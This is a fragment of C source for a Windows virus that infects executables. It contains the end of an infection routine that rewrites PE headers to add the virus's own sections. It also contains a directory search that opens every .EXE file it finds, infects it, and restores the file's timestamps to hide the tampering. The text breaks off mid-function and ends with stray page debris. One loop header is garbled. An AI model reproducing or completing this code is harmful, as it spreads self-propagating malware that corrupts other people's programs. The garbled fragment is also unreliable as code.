PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
PEHeader.OptionalHeader.SizeOfCode = 0;
PEHeader.OptionalHeader.SizeOfInitializedData = 0;
PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
for (j=0; j {
if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;
if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
}
// Write new header and section table
SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);
WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
}
L_Exit_Infect:
// Free allocated memory
if (HostRelocs != NULL)
MEMFREE(HostRelocs);
if (Relocations != NULL)
MEMFREE(Relocations);
if (Section != NULL)
MEMFREE(Section);
if (Ptr != NULL)
MEMFREE(Ptr);
}
///////////////////////////////////////////
// Recursively search for files to infect
///////////////////////////////////////////
void SearchFiles(char * Path)
{
HANDLE FindHandle;
HANDLE FHandle;
WIN32_FIND_DATA FindResult;
FILETIME Time1, Time2, Time3;
if (SetCurrentDirectory(Path))
{
// Search for EXE files in current directory
if ((FindHandle = FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
{
do
{
FHandle = CreateFile(FindResult.cFileName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,
NULL
);
if (FHandle != INVALID_HANDLE_VALUE)
{
GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time
InfectFile(FHandle); // Infect file
SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
CloseHandle(FHandle);
}
}
while (FindNextFile(FindHandle, &FindResult));
}
FindClose(FindHandle);
// Now search for subdirectories and process them
if ((FindHandle = FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
{
do
{
0
相关文章